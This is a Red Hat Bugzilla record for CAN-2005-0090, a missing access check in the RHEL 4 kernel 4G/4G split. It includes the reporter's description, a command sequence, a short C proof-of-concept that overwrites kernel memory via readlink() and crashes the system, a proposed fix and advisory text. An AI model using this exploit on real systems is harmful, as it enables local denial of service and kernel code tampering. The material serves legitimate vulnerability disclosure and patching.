Bug 144131

Summary: CAN-2005-0090 4GB split DoS
Product: Red Hat Enterprise Linux 4 Reporter: Josh Bressers <bressers>
Component: kernelAssignee: Dave Jones <davej>
Status: CLOSED ERRATA QA Contact: Brian Brock <bbrock>
Severity: medium Docs Contact:
Priority: medium    
Version: 4.0CC: jbaron, pfrields, riel, security-response-team
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2005-02-18 17:21:06 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On:    
Bug Blocks: 144195    

Description Josh Bressers 2005-01-04 19:06:26 UTC
This was reported by Kirill Korotaev.

 bug description
 ~~~~~~~~~~~~~~~
 copy_to_user() and other uaccess functions which do not have __ prefix
 in thier names should check access_ok() before doing memory access. 4GB
 split uaccess functions lack of this access check and can be used to
 access kernel memory at the top of user address space, including writing
 to this memory (i.e. LDT, GDT, trampoline code etc.).

 Usual system calls such as sys_read/sys_write are protected with
 explicit access_ok() checks. sys_ptrace is not vulnerable since
 access_process_vm() requires existence of vm area.

 But there are a number of places which lack of this check, e.g.
 sys_readlink() -> vfs_readlink().
 This results in possibility to change kernel code and to run malicious
 code in kernel space.

 exploit description
 ~~~~~~~~~~~~~~~~~~~
 This is 100% explitable. ctu exploit is attached. it should be execed
 with an argument equal to kernel space address which should be
overwritten.

 We run it with argument equal to trampoline address space + system call
 offset inside the page.

 i.e. command sequence
 # ln -s qweqweqweqweeqw ./link
 # nm /boot/vmlinux-`uname -r` | grep system_call
 # ./ctu <system call address (0xfffec1a4 in my kernel)>
 crashes the system

 fix details
 ~~~~~~~~~~~

 Possible solutions:
 1. add access_ok() checks to copy_to_user etc.
 2. add pte_user() page check to follow_page()

 I 2.4 kernels my split uses the following check:

 follow_page()
 {
 ....
         if (pte_present(pte)) {
 #ifdef CONFIG_4GB
                 /*
                  * this condition enables us to omit access_ok()
checks in
                  * indirect_XXX user access routines. i.e. we check here
                  * (instead of access_ok()) that we try to access user
 pages.
                  */
                 if (unlikely(!pte_user(pte)))
                         return ERR_PTR(-EACCES);
 #endif
 }

 I 2.6 kernels I don't have fix patch yet.
 If someone would make the patch please add me to CC.

 Kirill


 #include <stdio.h>
 #include <errno.h>

 int main(int argc, char **argv)
 {
      int r;
      unsigned long addr;

      sscanf(argv[1], "%lx", &addr);
      r = readlink("./link", addr, 1024);
      printf("%d %d\n", r, errno);
 }

Comment 1 Mark J. Cox 2005-01-31 10:57:24 UTC
I'm proposing the following text for the advisory; plesae help correct
this if it is incorrect:

"Kirill Korotaev discovered a missing access check regression in the
Red Hat Enterprise Linux 4 kernel 4G/4G split patch.  A local
unprivileged user could use this flaw to cause a denial of service
(crash).  The Common Vulnerabilities and Exposures project
(cve.mitre.org) has assigned the name CAN-2005-0090 to this issue."


Comment 2 Josh Bressers 2005-02-18 17:21:06 UTC
An advisory has been issued which should help the problem
described in this bug report. This report is therefore being
closed with a resolution of ERRATA. For more information
on the solution and/or where to find the updated files,
please follow the link below. You may reopen this bug report
if the solution does not work for you.

http://rhn.redhat.com/errata/RHSA-2005-092.html